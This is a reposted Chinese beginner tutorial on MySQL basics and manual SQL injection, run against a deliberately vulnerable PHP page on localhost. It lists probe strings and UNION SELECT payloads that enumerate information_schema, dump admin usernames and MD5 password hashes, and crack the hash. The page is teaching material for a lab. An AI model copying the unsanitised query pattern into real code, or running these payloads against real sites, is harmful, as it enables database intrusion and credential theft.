原文在:https://smelond.com

MySql基础语法

mysql无非就是增删改查

  • mysql数据库结构:

    • 数据库 test,test1

      • 表名 admin,manage

        • 数据 id,username,password

现在,为了我们接下来的实验,我们需要切换数据库到test,mysql自带一个test数据库,没有装mysql的自行百度
切换方式:

mysql> use test;
Database changed //有这条提示就切换成功了

create 创建表

首先我们先来创建一个表名为:admin,里面包含了id,username,password,email:

mysql> create table admin(
-> id int(3) auto_increment not null primary key,
-> username varchar(15) not null,
-> password char(32),
-> email varchar(30));
Query OK, 0 rows affected (0.01 sec) --有了这个提示就是创建成功了

现在我们已经成功创建了一个,可以用desc来查看表结构:

mysql> desc admin;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| username | varchar(15) | NO | | NULL | |
| password | char(32) | YES | | NULL | |
| email | varchar(30) | YES | | NULL | |
+----------+-------------+------+-----+---------+----------------+
4 rows in set (0.04 sec)

insert 插入数据

接着上面的表,我们想表里面插入一条数据

mysql> insert into admin(username,password,email) values('smelond','qweqwe','2698115328@qq.com');		--为什么没有指定id列,因为我们在创建表时给id指定了自动增值(auto_increment)
Query OK, 1 row affected (0.00 sec)

select 查询语句

上面我们已经向数据库里面插入了一条数据了,现在我们可以查询一下是否插入成功

mysql> select * from admin;
+----+----------+----------+-------------------+
| id | username | password | email |
+----+----------+----------+-------------------+
| 1 | smelond | qweqwe | 2698115328@qq.com |
+----+----------+----------+-------------------+
1 row in set (0.00 sec) --已经看到了,数据已经插入进去,并且id号为1,如果我们下次插入id号会自动增长

update 修改表中的数据

现在我们为admin数据表在次插入一条数据

mysql> insert into admin(username,password,email) values('admin','qweqwe','xxx@163.com');
Query OK, 1 row affected (0.00 sec)

插入完成以后用updata修改admin的密码为asdasd,(从原来的qweqwe修改为asdasd)

mysql> update admin set password='asdasd' where username='admin';	--修改passwrod为asdasd,条件是username=admin
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0

接着我们查询一下是否修改成功

mysql> select * from admin;
+----+----------+----------+-------------------+
| id | username | password | email |
+----+----------+----------+-------------------+
| 1 | smelond | qweqwe | 2698115328@qq.com |
| 2 | admin | asdasd | xxx@163.com |
+----+----------+----------+-------------------+
2 rows in set (0.00 sec)

delete 删除表中的数据

上面我们已经向表中插入了两条数据了
现在我们试着将表中的数据删除

mysql> delete from admin where username='admin';
Query OK, 1 row affected (0.00 sec) mysql> delete from admin where id=1;
Query OK, 1 row affected (0.00 sec)

可以看到我上面已经删除了两条数据,
现在查询admin数据库里面应该什么都没有

mysql> select * from admin;
Empty set (0.00 sec)

常见的方式手工判断网站是否可以注入

1=1 and 1=2
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1/*
' or 1=1#

SQL注入的准备

什么是SQL注入攻击?

SQL攻击(英语:SQL injection),简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。(引用wiki)

sql注入实验环境:

  • phpstudy集成环境
  • IDE:sublime text3
  • 没有的自行百度!!!

编写一个有漏洞的PHP代码

首先我们需要启动mysql,创建一个数据库命名为sqlin,并且切换过去 use sqlin

create database sqlin default character set utf8 collate utf8_general_ci;
use sqlin;

创建admin表和page表:

mysql> create table admin(
-> id int(3) auto_increment not null primary key,
-> username varchar(15) not null,
-> password char(32));
mysql> create table page(
-> id int(3) auto_increment not null primary key,
-> title varchar(20),
-> content varchar(255));

向admin、page表里面分别插入数据

mysql> insert into admin(username,password) values('smelond','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into admin(username,password) values('admin','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into page(title,content) values('sqlzhuru','https://smelond.com');
mysql> insert into page(title,content) values('test','smelond.com');

上面的efe6398127928f1b2e9ef3207fb82663是32位的md5值,没加密之前是qweqwe

然后我们查询一下是数据是否插入成功:

mysql> select * from admin;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | smelond | efe6398127928f1b2e9ef3207fb82663 |
| 2 | admin | efe6398127928f1b2e9ef3207fb82663 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from page;
+----+----------+---------------------+
| id | title | content |
+----+----------+---------------------+
| 1 | sqlzhuru | https://smelond.com |
| 2 | test | smelond.com |
+----+----------+---------------------+
2 rows in set (0.00 sec)

解释一下,为什么我们创建了一个数据库会又在数据库里面创建了两个表?为什么不是一个表?
原因是因为:

  1. 在真实的网站案例中,没有管理员会把所有的数据都放在一个表中,而是多个表、多个数据库(方便管理)。
  2. 放在一个表中查询很麻烦,比如文章,用户名,一些个人信息等。
  3. 还有很多很多原因。。。

编写php代码

没学过php,代码写的不行,路过的大神可以帮忙看看

<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: https://smelond.com
-->
<body/>
</html>
<?php
$id = $_GET['x'];
$link=mysqli_connect("127.0.0.1","root","root","sqlin");//连接数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql="select * from page where id=$id";//查询
$re=mysqli_query($link,$sql);//执行查询语句
$data=mysqli_fetch_assoc($re);//获取数据库返回的内容
echo "文章id:".$data['id']."<hr />";
echo "文章标题:".$data['title']."<hr />";
echo "文章内容:".$data['content']."<hr />";
echo "当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
?>

上面的代码中,我们连接数据库是slqin,查询的数据表时page,并没有用到admin那个表,因为网页显示的是文章或一些其他的内容。


开始我们的表演

我刚刚已经将我写的代码放到了phpstudy的WWW目录下了
我的路径是:D:\phpStudy\PHPTutorial\WWW\webpentest\mysql\index.php
现在开始访问网站

http://127.0.0.1/webpentest/mysql/index.php

访问进入之后可能就是一些报错信息,不管这些,因为页面上的内容是从数据库里面调用的,然后在index.php后面加上?x=1

http://127.0.0.1/webpentest/mysql/index?x=1		//?x=1意思是从数据库里面找id=1的内容

现在看看,网页上面是否有了正常数据库了呢

简单的判断是否存在注入

判断网站是否存在注入,可以先试着在?x=1后面加上and 1=1、and 1=2

  • 加上and 1=1会返回正常页面,如果出现安全狗之类的(实战中)错误,以后再说
  • 加上and 1=2返回页面错误,就可能有注入了,因为页面上的内容是到数据库里面查询返回结果的
    • 加上and 1=2时,看下面语句:
    • mysql> select * from page where id=1 and 1=1;
      +----+----------+---------------------+
      | id | title | content |
      +----+----------+---------------------+
      | 1 | sqlzhuru | https://smelond.com |
      +----+----------+---------------------+
      1 row in set (0.00 sec) //正常返回 mysql> select * from page where id=1 and 1=2;
      Empty set (0.00 sec) //看吧,没有返回,所以网页上面没有内容

在页面后面加上 and 1=2,没有正常返回结果,那当然就是有注入了

看到当前执行的语句为:select * from page where id=1 and 1=2

查询数据库信息

  • order by number //判断字段
  • union select 1,2,3… //将两个表合并一起查询
  • database() //数据库名
  • user() //数据库用户
  • version() //数据库版本
  • @@version_compile_os //操作系统

拿上刚刚写的页面测试order by

接着 union

  • http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,2,3
    又有了同学问道,为啥前面要加上and 1=2 ?
    原因是因为:先让网页报错,然后进行union后面的查询,这样后面查询的内容才会显示在网页上。
    网页已经显示出了我们查询的1,2,3

再来查询数据库名,数据库用户,数据库版本

一个小小的提示:

  • mysql5.0以上的数据库自带:information_schema
  • information_schema数据库存储了mysql下所有的数据库、表名、列名
    请你一定记住这个,而且现在基本都是mysql5.0以上的数据库了

information_schema表该怎么用?

现在我们已经获取到了数据库名:sqlin;数据库用户:root;数据库版本:5.5.53
在数据库查询语句中”.”表示下一级的意思

  • information_schema.schemata

    • information_schema数据库里面的schemata表,他里面存储了所有数据库名称。
  • information_schema.tables
    • information_schema数据库里面的tables表,他里面存储了所有数据库下的表名信息。
  • information_schema.columns:
    • information_schema数据库里面的columns表,他里面存储了所有数据库下的列名信息。
  • table_schema 数据表所属的数据库名
  • table_name 表名称
  • column_name 列名称
  • schema_name 数据库名

获取数据库下的表名信息

然后我们现在来试着获取sqlin数据库下的所有表名信息:

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 0,1
// limit 0,1表示从0开始,取1个,然后我们拿到了数据库sqlin下的数据表admin http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 1,1
// limit 1,1表示从1开始,取1个,然后我们又拿到数据库sqlin下的数据库page

同时取多个:
首先我们试试:

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,table_name,3 from information_schema.tables where table_schema='sqlin' limit 0,2
// 返回内容发现两个都是admin,显然,这种limit 0,2的方法是不行的,因为并没有显示page表

再试试:

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),3 from information_schema.tables where table_schema='sqlin' limit 0,2
// 从0开始,取两个,第二个会显示出来admin,为了让他显示page,所以我果断的将table_name改为了
// (select table_name from information_schema.tables where table_schema='sqlin' limit 1,1)
// 在这个里面,查询出来的很明显就应该是page,所以同时就取出来了两个

我们在数据库里面简单的测试一下

mysql> select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 0,1;
+------------+---+---+
| table_name | 2 | 3 |
+------------+---+---+
| admin | 2 | 3 |
+------------+---+---+
1 row in set (0.00 sec) mysql> select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 1,1;
+------------+---+---+
| table_name | 2 | 3 |
+------------+---+---+
| page | 2 | 3 |
+------------+---+---+
1 row in set (0.00 sec) mysql> select table_name,(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),2 from information_schema.tables where table_schema='sqlin' limit 0,1;
+------------+-----------------------------------------------------------------------------------------+---+
| table_name | (select table_name from information_schema.tables where table_schema='sqlin' limit 1,1) | 2 |
+------------+-----------------------------------------------------------------------------------------+---+
| admin | page | 2 |
+------------+-----------------------------------------------------------------------------------------+---+
1 row in set (0.00 sec)

现在我们已经获取到一下内容:

  • 网站数据库名: sqlin
  • 数据库版本: 5.5.53
  • 数据库用户: root
  • 当前网站数据库下的表名: 分别为admin,page

获取数据库下的表名下的列名信息

上面我们已经获取到了sqlin数据库,并且获取到了sqlin数据库下面的admin表,以及page表
从表的名称可以看出,admin表肯定是存储用户登录账户和密码的

继续获取admin表里面的列名信息:

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select column_name,2,3 from information_schema.columns where table_name='admin' limit 0,1
// 获取到了id列名
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select column_name,2,3 from information_schema.columns where table_name='admin' limit 1,1
// 获取到了user列名
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select column_name,2,3 from information_schema.columns where table_name='admin' limit 2,1
// 获取到了password列名

需要的东西都已经获取到了:
网站数据库:sqlin
数据库下的表:admin,page
admin表下的列名:id,username,password

还差最后一步,获取username,password里面的内容

这就简单了,没有之前那么繁琐
只需要查询即可:

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select username,password,3 from admin
smelond
efe6398127928f1b2e9ef3207fb82663


偶然发现了一个很好玩的函数concat()

concat函数用于连接两个或多个字符串,形成一个字符串。
好了,现在有同学问,这个函数在sql注入中有什么作用?
cmd里面打开我们的mysql 测试一下就知道了:

mysql> select concat(123,':::','qwe');
+-------------------------+
| concat(123,':::','qwe') |
+-------------------------+
| 123:::qwe |
+-------------------------+
1 row in set (0.00 sec) mysql> select concat(123,'qwe');
+-------------------+
| concat(123,'qwe') |
+-------------------+
| 123qwe |
+-------------------+
1 row in set (0.00 sec)
mysql> select concat('用户名:','smelond','密码:','qweqwe');
+------------------------------------------------+
| concat('用户名:','smelond','密码:','qweqwe') |
+------------------------------------------------+
| 用户名:smelond密码:qweqwe |
+------------------------------------------------+
1 row in set, 2 warnings (0.00 sec)

现在好像知道有啥用了,哈哈!!!
比如我们在进行sql注入时,发现只有一个地方有回显,但是想同时查询username,password,等多个内容,这个时候我们就可以用concat()

好了,我还是拿着代码去试试吧。

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select concat('<br>账号:',username,'<br>','密码:',password),2,3 from admin
输出结果:
// 账号:smelond
// 密码:efe6398127928f1b2e9ef3207fb82663 http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select concat(username,'>>>',password),2,3 from admin
输出结果:
// smelond>>>efe6398127928f1b2e9ef3207fb82663

当然不止上面这个一点用法咯,还有:

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,concat(table_name,':',(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1)),3 from information_schema.tables where table_schema='sqlin' limit 0,1

这回好像没毛病了吧,哈哈,emmmmmmmmm!!!

最后,记得拿着md5值去解密。。。

efe6398127928f1b2e9ef3207fb82663 == qweqwe

【转载】sql注入之入门的更多相关文章

  1. 【转载】SQL注入攻防入门详解

    滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园  首页  博问  闪存    联系  订阅 管理 随笔-58 评论-2028 文章-5  trackbacks-0 站长 ...

  2. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  3. SQL注入攻防入门详解(2)

    SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...

  4. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  5. sqlmap查找SQL注入漏洞入门

    1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...

  6. SQL注入(一) - 入门篇

    什么是SQL注入 可能大家还不是对SQL注入这个概念不是很清楚,简单地说,SQL注入就是攻击者通过正常的WEB页面,把自己SQL代码传入到应用程序中,从而通过执行非程序员预期的SQL代码,达到窃取数据 ...

  7. 手工sql注入简单入门

    1.判断是否可以注入: 数字型: 1.1在参数后面加一个引号',如果页面报数字number错误,则一定不是sql注入点:如果报数据库比如mysql.oracle之类的错误,则是一个sql注入点. 1. ...

  8. SQL注入基础入门

    一般的WEB架构 SQL注入成因: 用户开启浏览器并连接http://www.xxx.com.位于逻辑层的Web服务器从文件系统中加载脚本将其传递给脚本引擎,脚本引擎负责解析并执行脚本. 脚本使用数据 ...

  9. (转载)sql注入实战 mysql篇

    出现的关键名词有: UNION  SELECT   load_file   hex 为了方便说明我们先创建两个表:hehe和heihei,很明显它们一个拥有2列属性,一个拥有3列属性 ======== ...

随机推荐

  1. Solidity之mapping类型

    映射是一种引用类型,存储键值对.它的定义是:mapping(key => value),概念上与java中的map,python中的字典类型类似,但在使用上有比较多的限制. 一.mapping定 ...

  2. 【IT笔试面试题整理】给定二叉树,给每层生成一个链表

    [试题描述]定义一个函数,给定二叉树,给每层生成一个链表 We can do a simple level by level traversal of the tree, with a slight ...

  3. java设计模式-菜鸟网络

    http://www.runoob.com/design-pattern/singleton-pattern.html

  4. 使用 Solr 创建 Core 并导入数据库数据

    1. 输入 http://localhost:8080/solr/index.html 来到 Solr 的管理界面: 2. 点击左侧 Core Admin --> Add Core,然后输入自己 ...

  5. 阿里巴巴java手册示例

    package com.led.daorumysql; /** * @Description:alibaba java development manual * @author 86157 * */ ...

  6. UIKit 框架之UIView二

    下面这些都是UIView一些基本的东西,具体的可以参考UIKit 框架之UIView一博客 一.自定义一个View // // MyView.m // UIView // // Created by ...

  7. HTTP 无法注册URL 进程不具有命名空间的访问权限

    写WCF时在 host.Open(); 报错:HTTP 无法注册 URL http://+:9999/CalculatorService/.进程不具有此命名空间的访问权限(有关详细信息,请参见 htt ...

  8. c#中Socket网络通信的入门

    请访问 http://balabiu.com/?p=16 后续本文更新将在这里: 将设计服务器端异步接受客户端连接和客户端消息.

  9. FineUI 布局宽度自适应,后台回调js方法

    FineUI页面布局,宽度自适应 @(F.Panel().CssClass().ShowBorder().BoxConfigChildMargin("0 5 0 0").ShowH ...

  10. Can you find it?(数组+二分hdu2141)

    Can you find it? Time Limit: 10000/3000 MS (Java/Others)    Memory Limit: 32768/10000 K (Java/Others ...